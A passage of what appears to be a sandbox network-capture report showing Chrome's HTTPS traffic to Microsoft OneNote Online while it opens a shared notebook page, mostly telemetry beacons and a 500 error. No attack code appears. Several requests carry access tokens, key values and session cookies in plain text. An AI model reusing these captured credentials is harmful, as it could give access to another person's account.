378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C95 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wordslice_control,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 06B1DA8599A84A729B16151AD1F83C27 Ref B: DFW311000110053 Ref C: 2024-10-25T08:18:56Z Date: Fri, 25 Oct 2024 08:18:55 GMT Connection: close
2024-10-25 08:18:56 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49806	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:56 UTC	1737	OUT	POST /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":3,"MsSinceStart":4436,"Value":"Launching FastView from entry point WacBootGetCells","Type":"BootLogs"},{"Index":4,"MsSinceStart":4438,"Value":"RecordContentDisplayed","Type":"BootPhaseCompleted"},{"Index":5,"MsSinceStart":6501,"Value":"https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:18:56 UTC	1604	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: f12badc2-2010-4e4b-ae6a-2c9ddc833541 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C88 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5b&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C88 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_onenoteslice_control,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 874A5E545ADA46749F42D6304EFEC95C Ref B: DFW311000103047 Ref C: 2024-10-25T08:18:56Z Date: Fri, 25 Oct 2024 08:18:56 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.6	49807	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:58 UTC	1620	OUT	POST /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 X-BrowserUlsBeacon: [{"Index":5,"MsSinceStart":8303,"Value":"SplashScreenShown","Type":"BootPhaseCompleted"},{"Index":6,"MsSinceStart":8303,"Value":"https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot","Type":"Referrer"}] sec-ch-ua-platform: "Windows" Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:18:58 UTC	1580	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: c743f558-3453-4b43-9efa-2fb74ac0eebf X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C84 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5c&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C84 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 04853D1C3D594A298172DE0C8A4E9063 Ref B: DFW311000105035 Ref C: 2024-10-25T08:18:58Z Date: Fri, 25 Oct 2024 08:18:57 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49811	52.108.9.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:58 UTC	2324	OUT	POST /o/OneNoteS2SHandler.ashx?action=educationuser&WOPIsrc=https%3A%2F%2Fwopi%2Eonedrive%2Ecom%2Fwopi%2Ffolders%2FA2C259BD24DEB977%211517&access_token=4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw&access_token_ttl=1730017122364 HTTP/1.1 Host: onenote.officeapps.live.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF00017C99 X-OfficeVersion: 16.0.18214.41004 X-Key: JET8TXCUqtsIdxzH7JR+8AxZAV8tHKhwZjWok0HNi3U=;WP9oBPW/wQjBzAXFqEEnFB3ZDLJg8dixW8eGJaFRJyU=,638654411289687050 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-UserType: WOPI X-IsCoauthSession: false X-WacCluster: PUS11 Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/o/onenoteframe.aspx?edit=0&ui=en-US&rs=en-US&hid=iOKNGkkbsUOppGAVudDD%2FQ.0.13.0&wopisrc=https%3A%2F%2Fwopi.onedrive.com%2Fwopi%2Ffolders%2FA2C259BD24DEB977!1517&wd=target%28Quick%20Notes.one%7C8266a05f-045a-4cc0-bddc-4debc90069bb%2FNotera%20H6TYD9J4rDFDFECZC-HUYW%7Ca949d04d-b4e2-4509-b99f-d04546199b7b%2F%29&wdorigin=NavigationUrl&wdo=2&sc=host%3D%26qt%3DDefault&wdp=7&uih=onedrivecom&dchat=1&mscc=1&wdhostclicktime=1729844316523&jsapi=1&jsapiver=v1&newsession=1&corrid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=editaspx&muv=1&wdredirectionreason=Force_SingleStepBoot Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=; BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
2024-10-25 08:18:58 UTC	1070	IN	HTTP/1.1 200 OK Cache-Control: no-cache, no-store Pragma: no-cache Transfer-Encoding: chunked Content-Type: text/html; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: cf187ec4-fc82-43b5-9f21-75fe3046216e X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C80 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C80 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_pptcapacity_2,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: FB7B35CD16DE46E68C7E6C95B72E3D46 Ref B: DFW311000107031 Ref C: 2024-10-25T08:18:58Z Date: Fri, 25 Oct 2024 08:18:57 GMT Connection: close
2024-10-25 08:18:58 UTC	195	IN	Data Raw: 62 64 0d 0a 7b 22 52 65 73 70 6f 6e 73 65 73 22 3a 5b 5b 36 30 2c 7b 22 69 73 45 64 75 63 61 74 69 6f 6e 22 3a 66 61 6c 73 65 2c 22 69 73 54 65 61 63 68 65 72 22 3a 66 61 6c 73 65 2c 22 69 73 53 74 75 64 65 6e 74 22 3a 66 61 6c 73 65 2c 22 69 73 4f 33 36 35 53 75 62 73 63 72 69 62 65 72 22 3a 66 61 6c 73 65 2c 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 30 2c 22 53 74 61 74 75 73 43 6f 64 65 22 3a 30 2c 22 52 61 77 43 65 6c 6c 53 74 6f 72 61 67 65 45 72 72 6f 72 43 6f 64 65 22 3a 22 22 2c 22 53 65 72 76 65 72 50 61 67 65 53 74 61 74 73 54 72 61 63 65 22 3a 22 22 7d 5d 5d 7d 0d 0a Data Ascii: bd{"Responses":[[60,{"isEducation":false,"isTeacher":false,"isStudent":false,"isO365Subscriber":false,"OperationId":0,"StatusCode":0,"RawCellStorageErrorCode":"","ServerPageStatsTrace":""}]]}
2024-10-25 08:18:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49815	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:58 UTC	607	OUT	GET /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: xid=d8a72812-8574-4087-b953-5899e368a601&&ODSP-ODWEB-ODCF&345; E=P:Jiauos303Ig=:LuVpPK++Xqsv74IVHxbXnQE1KLbazIMsA91EvApP2Vc=:F; xidseq=2; wla42=
2024-10-25 08:18:58 UTC	4520	IN	HTTP/1.1 500 Internal Server Error Cache-Control: private Content-Length: 1208 Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: b89ea67b-521e-423e-a2dc-bd0a5fca7d89 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C8E X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19243470,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230 [TRUNCATED] X-InvalidUlsJson: nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C8E X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 0AE96F00DEEE4F33ACF2D2B03FF3BF46 Ref B: DFW311000110037 Ref C: 2024-10-25T08:18:58Z Date: Fri, 25 Oct 2024 08:18:58 GMT Connection: close
2024-10-25 08:18:58 UTC	1208	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 35 30 30 20 2d 20 49 6e 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"/><title>500 - Int

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49819	52.108.8.12	443	5956	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-25 08:18:58 UTC	1397	OUT	POST /o/RemoteUls.ashx?build=16.0.18214.41004&waccluster=PUS11&usid=d792bec9-feb6-4b93-b8c3-d25b567b0fc4 HTTP/1.1 Host: usc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 19095 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-WacFrontEnd: SN3PEPF00017C99 X-OfficeVersion: 16.0.18214.41004 X-Key: JET8TXCUqtsIdxzH7JR+8AxZAV8tHKhwZjWok0HNi3U=;WP9oBPW/wQjBzAXFqEEnFB3ZDLJg8dixW8eGJaFRJyU=,638654411289687050 X-WacUserAgent: MSWACONSync X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 X-Requested-With: Fetch X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: 4wjPhHBH0nlrBlym7f9uthso4F76PCTqyS4r1pC4F1k2k4GF3Khv6wB6Vc2ffRC0MzJIk3jHvdlqjmLIFmNLJXioIwgEvef6Q4qerGUxvsuiZZWpcOIoZaVJKXqZbF6u0A4aB9QLt3B58m7U4CtXAmCw X-AccessTokenTtl: 1730017122364 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: PUS11 Accept: / Origin: https://onenote.officeapps.live.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://onenote.officeapps.live.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-25 08:18:58 UTC	16384	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 39 38 34 34 33 33 37 31 30 38 2c 22 4c 22 3a 5b 7b 22 47 22 3a 32 30 30 32 35 36 37 39 2c 22 54 22 3a 2d 38 32 36 2c 22 4d 22 3a 22 53 65 74 41 70 70 49 6e 69 74 69 61 6c 69 7a 61 74 69 6f 6e 53 74 61 74 75 73 3a 20 61 70 70 43 74 6f 72 53 74 61 72 74 69 6e 67 22 2c 22 43 22 3a 33 30 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 38 33 39 36 33 37 31 2c 22 54 22 3a 2d 38 31 38 2c 22 4d 22 3a 22 41 46 72 61 6d 65 77 6f 72 6b 41 70 70 6c 69 63 61 74 69 6f 6e 3a 3a 49 6e 69 74 69 61 6c 69 7a 65 3a 3a 49 73 4d 65 65 74 69 6e 67 4c 69 76 65 53 65 73 73 69 6f 6e 3a 20 66 61 6c 73 65 2e 20 4d 65 65 74 69 6e 67 49 64 3a 20 2e 20 49 73 4d 65 65 74 69 6e 67 50 72 65 73 65 6e 74 65 72 3a 20 66 61 6c 73 65 2e 20 4d 65 65 74 69 6e 67 4f 72 Data Ascii: {"T":1729844337108,"L":[{"G":20025679,"T":-826,"M":"SetAppInitializationStatus: appCtorStarting","C":306,"D":50},{"G":508396371,"T":-818,"M":"AFrameworkApplication::Initialize::IsMeetingLiveSession: false. MeetingId: . IsMeetingPresenter: false. MeetingOr
2024-10-25 08:18:58 UTC	2711	OUT	Data Raw: 2c 22 54 22 3a 32 39 37 2c 22 4d 22 3a 22 55 73 69 6e 67 20 66 6c 6f 6f 64 67 61 74 65 20 45 43 53 20 6c 61 74 65 73 74 20 76 65 72 73 69 6f 6e 20 22 2c 22 43 22 3a 33 35 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 33 37 37 35 34 35 30 32 2c 22 54 22 3a 32 39 37 2c 22 4d 22 3a 22 53 49 46 42 3a 20 4c 6f 67 41 63 74 69 76 69 74 79 53 74 61 72 74 49 6e 74 65 72 6e 61 6c 20 28 69 6e 69 74 69 61 6c 69 7a 69 6e 67 20 66 69 72 73 74 29 20 53 75 69 74 65 55 73 61 67 65 4e 50 53 22 2c 22 43 22 3a 33 35 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 36 36 38 31 31 31 2c 22 54 22 3a 32 39 37 2c 22 4d 22 3a 22 55 73 69 6e 67 20 66 6c 6f 6f 64 67 61 74 65 20 6c 61 74 65 73 74 20 76 65 72 73 69 6f 6e 20 22 2c 22 43 22 3a 33 35 36 2c 22 44 22 3a 35 30 7d 2c 7b 22 Data Ascii: ,"T":297,"M":"Using floodgate ECS latest version ","C":356,"D":50},{"G":37754502,"T":297,"M":"SIFB: LogActivityStartInternal (initializing first) SuiteUsageNPS","C":356,"D":50},{"G":50668111,"T":297,"M":"Using floodgate latest version ","C":356,"D":50},{"
2024-10-25 08:18:59 UTC	1646	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 56be9116-45f3-40e4-80ba-a17e791e3d87 X-UserSessionId: d792bec9-feb6-4b93-b8c3-d25b567b0fc4 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: SN3PEPF00017C93 X-OfficeVersion: 16.0.18214.41004 X-OfficeCluster: PUS11 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://onenote.officeapps.live.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: C78C301AFEA9348D5ECE9A0B93BE4D1DAB74B6B1 nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-DFW31r5a&DC=PUS11&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: SN3PEPF00017C93 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: F1A5E75B69E145DAA084F7E4F32E7DFA Ref B: DFW311000102033 Ref C: 2024-10-25T08:18:58Z Date: Fri, 25 Oct 2024 08:18:58 GMT Connection: close Content-Length: 0

